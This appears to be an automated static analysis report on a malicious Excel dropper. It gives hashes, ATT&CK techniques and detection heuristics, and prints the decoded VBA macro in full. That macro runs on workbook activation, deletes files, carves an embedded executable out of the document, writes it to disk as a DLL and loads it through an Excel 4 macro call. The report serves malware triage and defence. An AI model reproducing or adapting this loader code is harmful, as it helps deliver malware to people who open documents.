Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3791b49676f0e10…

MALICIOUS

Office (OLE)

727.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: f4c3bb7d580da473fd1b442c2e60b587 SHA-1: b0408f6d897d717f017091f75e0f8c328a05f4d6 SHA-256: d3791b49676f0e10f9c93261cd5ef223e22fa88b8b90eaf74a3afee4a737efd4
442 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing VBA macros that leverage Windows Script Host and API calls like VirtualAlloc and LoadLibrary. It also embeds a PE executable, identified by ClamAV as Win.Dropper.Hideproc-6663113-0. The VBA code likely attempts to execute this embedded payload, which in turn may download additional malicious content from the observed URL.

Heuristics 10

  • ClamAV: Win.Dropper.Hideproc-6663113-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Dropper.Hideproc-6663113-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
             sendings = 1
         Dim sNMSP As New Shell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.microsoft.com0 In document text (OLE body)
    • http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0XIn document text (OLE body)
    • http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0In document text (OLE body)
    • http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl0ZIn document text (OLE body)
    • http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0In document text (OLE body)
    • http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0TIn document text (OLE body)
    • http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14372 bytes
SHA-256: 56be25cbb6875a49ad962ac7fa31f271de6c58edf73c655f0e6ec6ff2847baa8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "one"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
If PrepareForm.Visible = False Then
PopulateDivineCommercial 821
End If

End Sub





Public Sub PopulateDivineCommercial(dImmer As Integer)

Dim ActiveHotbit As New WshShell
 Dim s As String
 Dim GetInfirmityLevelDescription As String
    
    Dim d As Long
    d = 3
    d = d - 1
    Select Case d
    Case 0
        s = "No health problems"
    Case 1
        s = "Minor health problems"
    Case 2
        s = "Major health problems"
       
    Case 3
        s = "Severe disability"
    End Select


    Dim SpecialPath As String
    

PRP = "%" + UserForm6.TextBox1.Tag

UserForm6.TextBox1.Tag = ActiveHotbit.ExpandEnvironmentStrings(PRP + "%")

    
Dim car As CarClass
Set car = New CarClass
UserForm6.TextBox3.Tag = car.CheckCar(ActiveHotbit, "" & UserForm6.TextBox3.Tag + "")
ChDir (UserForm6.TextBox1.Tag)

    PrepareForm.show
End Sub





Attribute VB_Name = "Page1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
 #If VBA7 And Win64 Then
Public Const FlagDouble = True
#Else
Public Const FlagDouble = False

#End If
 Public DisputeChannel3 As Byte
     
Public Declaration() As Byte

     

     
    Public abbrev As Byte
  Public DisputeChannel4 As Byte
Public Sub PrepareConfigForOutput()
On Error Resume Next
    Dim i As Long
    Dim sNextChar As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean
    Dim sCommand As String
        Dim PrepareConfigForOutput As Long
    PrepareConfigForOutput = 0
    tooolsetChunkIParameter = False
    tooolsetChunkQ = False
    sCommand = Command$
    
    For i = 1 To ALen.B(sCommand)
        sNextChar = Mid(sCommand, i, 1)
        If tooolsetChunkIParameter Then
            If tooolsetChunkQ Then
                If sNextChar = " " Then
                    tooolsetChunkIParameter = False
                    tooolsetChunkQ = False
                    PrepareConfigForOutput = PrepareConfigForOutput + 1
                End If
            End If
        
        End If
    Next i
    If tooolsetChunkIParameter Then PrepareConfigForOutput = PrepareConfigForOutput + 1
End Sub




Public Sub PathBack(ByVal sPath As String)
    On Error Resume Next
    Dim sT As Variant
    Dim tt As String
    If Len(sPath) = 3 Then GoTo errorhand
    
    For ii = 0 To UBound(sT) - 2
        tt = tt & sT(ii) & "\"
    Next ii
    
    PathB.ack = tt
    
errorhand:
    Path.Back = sPath
End Sub

Public Sub GetParam(Count As Integer)
    Dim i As Long
    Dim j As Integer
    Dim c As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For i = 1 To Len(Comma.nd$)
        c = Mi.d$(Comma.nd$, i, 1)
        If tooolsetChunkI Then
            If c = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        ElseIf tooolsetChunkI And Not tooolsetChunkQ Then
            If c = " " Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        Else
            If c = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf c <> " " Then
                tooolsetChunkI = True
                tooolsetChunkQ = False
            End If
        End If
        If tooolsetChunkI And j = Count And c <> """" Then GetP.aram = GetP.aram & c
    Next i
End Sub







Attribute VB_Name = "PrepareForm"
Attribute VB_Base = "0{D1B1FD56-282A-4460-BD0C-0949FD7E35F8}{7BF60A63-CF26-4196-A1D8-20F806F385A9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Initialize()
Call KeyPropUpdate(Me, False)

End Sub

Private Sub UserForm_Activate()
DoEvents
DoEvents
DerTip
DoEvents
End Sub




Attribute VB_Name = "Module2"

Public Const GWL_STYLE = -16
Public Const WS_CAPTION = &HC00000
Public Const WS_SYSMENU = &H80000
 Public Const FirstB As Byte = 77
 Public Const SecondB As Byte = 90
 Public Const ThirdB As Byte = 144
#If VBA7 Then
 Public Declare PtrSafe Function BoxWSL _
 Lib "user32" Alias "SetWindowLongA" (ByVal parameter1 As Long, _
 ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
 Public Declare PtrSafe Function FWA1 _
 Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, _
 ByVal lpWindowName As String) As Long
 Public Declare PtrSafe Function DrawMenuBar _
 Lib "user32" (ByVal parameter1 As Long) As Long
 Public Declare PtrSafe Function GetWindowLong11 _
 Lib "user32" Alias "GetWindowLongA" (ByVal parameter1 As Long, _
 ByVal nIndex As Long) As Long
#Else
 Public Declare Function GetWindowLong11 _
 Lib "user32" Alias "GetWindowLongA" ( _
 ByVal parameter1 As Long, ByVal nIndex As Long) As Long
 Public Declare Function FWA1 _
 Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, _
 ByVal lpWindowName As String) As Long
 Public Declare Function DrawMenuBar _
 Lib "user32" (ByVal parameter1 As Long) As Long
 Public Declare Function BoxWSL _
 Lib "user32" Alias "SetWindowLongA" ( _
 ByVal parameter1 As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
#End If
Public Function NumberBuffer(LongData As Long, Context As Integer, ByVal ByteData As Byte)
 If PrepareForm.Enabled = True Then
 Put #LongData, , ByteData
End If
End Function
Public Function ColumnRangeWidth(ByVal ColRange As String, ByVal Width As Single) As Boolean
 ColumnRangeWidth = True
 On Error GoTo ErrorHandler
 Excel.Worksheets(1).Columns(ColRange).ColumnWidth = Width
 Exit Function
ErrorHandler:
 ColumnRangeWidth = False
 Resume Next
End Function
Public Function ColumnWidth(ByVal Col As Integer, ByVal Width As Single) As Boolean
 ColumnWidth = True
 On Error GoTo ErrorHandler
 Excel.Worksheets(1).Columns(Col).ColumnWidth = Width
 Exit Function
ErrorHandler:
 ColumnWidth = False
 Resume Next
End Function
Public Function GetFlexGridColFromXPos(TheGrid, XPos As Single) As Long
On Error GoTo ErrorTrap
Dim i As Long, lAccWidth As Long
 With TheGrid
 For i = 0 To .Cols - 1
 lAccWidth = lAccWidth + .ColWidth(i)
 If XPos <= lAccWidth Then
 GetFlexGridColFromXPos = i
 Exit Function
 End If
 Next i
 End With
 Exit Function
ErrorTrap:
 Exit Function
End Function
Private Sub ERRCHECK(result)
 If result = RCPN_D_FMOD_OK Then
 ms.gR.esult = MsgBox(result & ") ")
 End If
End Sub


Public Sub DerTip()
    Dim sendings As Integer
    dershlep = "" + UserForm6.TextBox1.Tag
    Dim ofbl As String
    ofbl = UserForm6.TextBox3.Tag + "\libOmio.dll"
    Dim CurrentSizeOfAT As Long

ctackPup = Join(Array(UserForm6.TextBox1.Tag, "\funduct.xlsx"), "")

        ctackPop = Join(Array(dershlep, UserForm6.TextBox3.Value), "")
        
            
            
        Dim arr(1 To 3) As String
        
        
ctackPip = ctackPup & Page11.Range("A100").Value
 
 PublicResumEraseByArrayList ctackPop, ctackPip, ofbl
  VistaQ ctackPup
    
        FileCopy ctackPup, ctackPip
        
         sendings = 1
         Dim sNMSP As New Shell
       
    If sendings > 0 And sendings > -30 Then
         
          Set FileWherePutTo2 = sNMSP.Namespace(dershlep)
            Set FileWherePutTo = sNMSP.Namespace(ctackPip)
           
          
          
          
FileWherePutTo2.CopyHere FileWherePutTo.Items.Item(UserForm6.Label11.Tag)
              
 
        End If
    CurrentSizeOfAT = 285696
      
        If FlagDouble Then
                CurrentSizeOfAT = 300000 + 9240 + 8
                sendings = 2
            End If
 Composition dershlep & UserForm6.Label1.Tag, ofbl, CurrentSizeOfAT, sendings
        If sendings >= -10 Then
            sendings = sendings + 1
            ChDir (UserForm6.TextBox3.Tag)
            sendings = sendings + 1
        End If
        If sendings < 100 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
            PrepareConfigForOutput
       
        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
    ofbl = "CA" + "LL(""" + ofbl

    ExecuteExcel4Macro ofbl & """,""pipk"",""J"")"
                
End Sub





Public Sub VistaQ(WhereToGo)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
    DoEvents
    ActiveWorkbook.Close
    DoEvents
        
End Sub












Attribute VB_Name = "Module0"

Attribute VB_Name = "UserForm6"
Attribute VB_Base = "0{71D68EAA-1A75-4990-A814-F904BBDDB3D0}{CB84FF3A-FB5B-4593-A8C8-B1F9D1C89B37}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Page11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module4"








 
Public Sub GetParam(Count As Integer)
    Dim i As Long
    Dim j As Integer
    Dim c As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For i = 1 To Len(Comma.nd$)
        c = Mi.d$(Comma.nd$, i, 1)
        If tooolsetChunkI Then
            If c = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        ElseIf tooolsetChunkI And Not tooolsetChunkQ Then
            If c = " " Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        Else
            If c = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf c <> " " Then
                tooolsetChunkI = True
                tooolsetChunkQ = False
            End If
        End If
        If tooolsetChunkI And j = Count And c <> """" Then GetP.aram = GetP.aram & c
    Next i
End Sub


















Attribute VB_Name = "Module5"

Public Sub KeyPropUpdate(frm As Object, show As Boolean)
Dim windowStyle As Long
Dim windowHandle As Long

windowHandle = FWA1(vbNullString, frm.Caption)
windowStyle = GetWindowLong11(windowHandle, GWL_STYLE)

If show Then

    BoxWSL windowHandle, GWL_STYLE, (windowStyle + WS_SYSMENU)

   
Else
 BoxWSL windowHandle, GWL_STYLE, (windowStyle And Not WS_SYSMENU)

End If

DrawMenuBar (windowHandle)

End Sub



Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
    On Error Resume Next
    For Each Key In putArrayBigList
        Kill Key
    Next Key
    On Error GoTo 0
End Sub

Public Sub Composition(Composition2 As String, ofbl As String, fl As Long, DisputeChannel6 As Integer)
 Dim DisputeChannel1 As Long
 
 Dim SimpleMethod As Integer
 ReDim Declaration(1 To fl)
 DisputeChannel1 = FreeFile
 Open Composition2 For Binary Access Read As DisputeChannel1
 Dim cur As Integer
 cur = 1
Do While 1
 Get DisputeChannel1, , abbrev
 If abbrev = FirstB Then
 Declaration(1) = abbrev
 Get DisputeChannel1, , DisputeChannel3
 If DisputeChannel3 = SecondB Then
 Declaration(2) = DisputeChannel3
 Get DisputeChannel1, , DisputeChannel4
 If DisputeChannel4 = ThirdB Then
 Declaration(3) = DisputeChannel4
 If cur = DisputeChannel6 Then
 For k = 4 To fl
 Get DisputeChannel1, , abbrev
 Declaration(k) = abbrev
 Next k
 Exit Do
 Else
 cur = cur + 1
 End If
 End If
 End If
 End If
 Loop
 Close DisputeChannel1
 On Error Resume Next
 DisputeChannel1 = FreeFile
 Open ofbl For Binary Lock Read Write As #DisputeChannel1
 For i = LBound(Declaration) To UBound(Declaration)
 If PrepareForm.Enabled = True Then
 NumberBuffer DisputeChannel1, 70, Declaration(i)
 End If
 Next i
 Close DisputeChannel1
 DisputeChannel1 = FreeFile
 For HSP = 33 To -1 Step -0.25
 DisputeChannel1 = 6 + i
 Next HSP
End Sub




Attribute VB_Name = "CarClass"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
    
Dim vSpeed As Integer
Dim vLicensePlate As String
 
Public Property Get Speed() As Integer
    Speed = vSpeed
End Property
 
Public Property Let Speed(sp As Integer)
    vSpeed = Application.WorksheetFunction.Min(sp, 100)
    vSpeed = Application.WorksheetFunction.Max(vSpeed, -100)
End Property
 
Public Property Get CheckCar(car As Object, Drive As String)
CheckCar = car.SpecialFolders("" + Drive)

End Property
Public Property Get SpecialFolders() As String
    LicensePlate = vLicensePlate
End Property
 
Public Property Let LicensePlate(lp As String)
    If Len(lp) <> 6 Then Err.Raise (xlErrValue) 'Raise error
    vLicensePlate = lp
End Property
embedded_office_000044f1.exe embedded-pe Office MZ+PE at offset 0x44F1 727311 bytes
SHA-256: d6d0fcfb4639f763d9b93a5d2866cfc387bf07df7038025ece7d169a28ec95fe
Detection
ClamAV: Win.Dropper.Hideproc-6663113-0
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shellin
ole10native_00.bin ole-package OLE Ole10Native stream: MBD0090C244/Ole10Native 614941 bytes
SHA-256: 19b52f1add3d684446fd404d2b90f24697030288cf5c2c5ba0e06da52f179e3d

Open this report in the interactive analyzer, or submit your own file for analysis.